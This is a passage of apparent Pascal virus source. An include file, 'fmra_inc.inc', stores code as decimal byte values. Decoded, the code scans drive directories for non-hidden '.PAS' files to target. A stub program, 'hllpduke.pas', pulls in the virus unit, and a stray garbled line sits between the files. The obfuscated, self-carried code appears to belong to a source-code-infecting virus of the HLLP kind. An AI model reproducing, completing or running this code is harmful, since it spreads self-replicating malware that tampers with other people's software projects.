101,58,61,70,77,82,65,95,83,82,46,78,97,109,101,59,13,10,32,32,
32,32,76,58,61,78,59,13,10,32,32,32,32,101,110,100,13,10,32,32,
101,108,115,101,13,10,32,32,105,102,32,40,70,77,82,65,95,83,82,46,
65,116,116,114,32,97,110,100,32,86,111,108,117,109,101,73,68,61,48,41,
32,97,110,100,32,40,70,77,82,65,95,83,82,46,65,116,116,114,32,97,
110,100,32,68,105,114,101,99,116,111,114,121,61,48,41,32,116,104,101,110,
13,10,32,32,32,32,98,101,103,105,110,13,10,32,32,32,32,70,77,82,
65,95,83,58,61,109,59,13,10,32,32,32,32,68,101,108,101,116,101,40,
70,77,82,65,95,83,44,76,101,110,103,116,104,40,109,41,45,50,44,51,
41,59,13,10,32,32,32,32,70,77,82,65,95,83,58,61,70,77,82,65,
95,83,43,70,77,82,65,95,83,82,46,78,97,109,101,59,13,10,32,32,
32,32,70,83,80,76,73,84,40,70,77,82,65,95,83,44,68,73,82,44,
78,65,77,44,69,88,84,41,59,13,10,32,32,32,32,73,70,32,40,69,
88,84,61,39,46,80,65,83,39,41,32,97,110,100,32,40,70,77,82,65,
95,83,82,46,65,116,116,114,32,97,110,100,32,72,105,100,100,101,110,61,
48,41,32,84,72,69,78,13,10,32,32,32,32,32,32,70,77,82,65,95,
68,101,116,101,99,116,85,110,105,116,70,105,108,101,40,70,77,82,65,95,
83,41,59,13,10,32,32,32,32,101,110,100,59,13,10,32,32,70,105,110,
100,78,101,120,116,40,70,77,82,65,95,83,82,41,59,13,10,32,32,101,
110,100,59,13,10,119,104,105,108,101,32,76,60,62,110,105,108,32,100,111,
13,10,32,32,98,101,103,105,110,13,10,32,32,109,58,61,83,116,100,105,
114,43,76,94,46,78,97,109,101,59,13,10,32,32,67,104,68,105,114,40,
109,41,59,13,10,32,32,105,102,32,73,79,82,101,115,117,108,116,60,62,
48,32,116,104,101,110,32,69,120,105,116,59,13,10,32,32,110,58,61,76,
59,13,10,32,32,76,58,61,76,94,46,110,101,120,116,59,13,10,32,32,
68,105,115,112,111,115,101,40,110,41,59,13,10,32,32,109,58,61,109,43,
39,92,39,59,13,10,32,32,105,102,32,73,79,82,101,115,117,108,116,61,
48,32,116,104,101,110,32,70,77,82,65,95,83,99,97,110,68,105,114,40,
109,41,59,13,10,32,32,109,58,61,115,116,100,105,114,59,13,10,32,32,
105,102,32,109,91,108,101,110,103,116,104,40,109,41,45,49,93,60,62,39,
58,39,32,116,104,101,110,32,109,91,48,93,58,61,99,104,114,40,108,101,
110,103,116,104,40,115,116,100,105,114,41,45,49,41,59,13,10,32,32,67,
104,68,105,114,40,109,41,59,13,10,32,32,101,110,100,59,13,10,101,110,
100,59,13,10,13,10,80,82,79,67,69,68,85,82,69,32,70,77,82,65,
95,77,97,110,97,103,101,114,59,13,10,86,65,82,13,10,32,32,32,32,
72,111,109,101,32,58,32,80,97,116,104,83,116,114,59,13,10,32,32,32,
32,83,32,32,32,32,58,32,83,116,114,105,110,103,59,13,10,66,69,71,
73,78,13,10,82,97,110,100,111,109,105,122,101,59,13,10,71,101,116,68,
105,114,40,48,44,32,72,111,109,101,41,59,13,10,105,102,32,72,111,109,
101,91,76,101,110,103,116,104,40,72,111,109,101,41,93,61,39,92,39,32,
116,104,101,110,32,68,101,108,101,116,101,40,72,111,109,101,44,76,101,110,
103,116,104,40,72,111,109,101,41,44,49,41,59,13,10,83,58,61,72,111,
109,101,91,49,93,43,39,58,39,59,13,10,70,77,82,65,95,67,104,68,
114,105,118,101,40,79,82,68,40,85,112,67,97,115,101,40,83,91,49,93,
41,41,45,54,53,41,59,13,10,70,77,82,65,95,83,99,97,110,68,105,
114,40,83,41,59,13,10,70,77,82,65,95,67,104,68,114,105,118,101,40,
79,82,68,40,85,112,67,97,115,101,40,72,111,109,101,91,49,93,41,41,
45,54,53,41,59,13,10,67,104,68,105,114,40,72,111,109,101,41,59,13,
10,69,78,68,59,13,10,13,10,66,69,71,73,78,13,10,70,77,82,65,
95,77,97,110,97,103,101,114,59,13,10,69,78,68,46,13,10);
===== end   fmra_inc.inc =====

    ⢠ :

===== begin hllpduke.pas =====
USES FMRA_BEG;
BEGIN
END.
===== end   hllpduke.pas =====
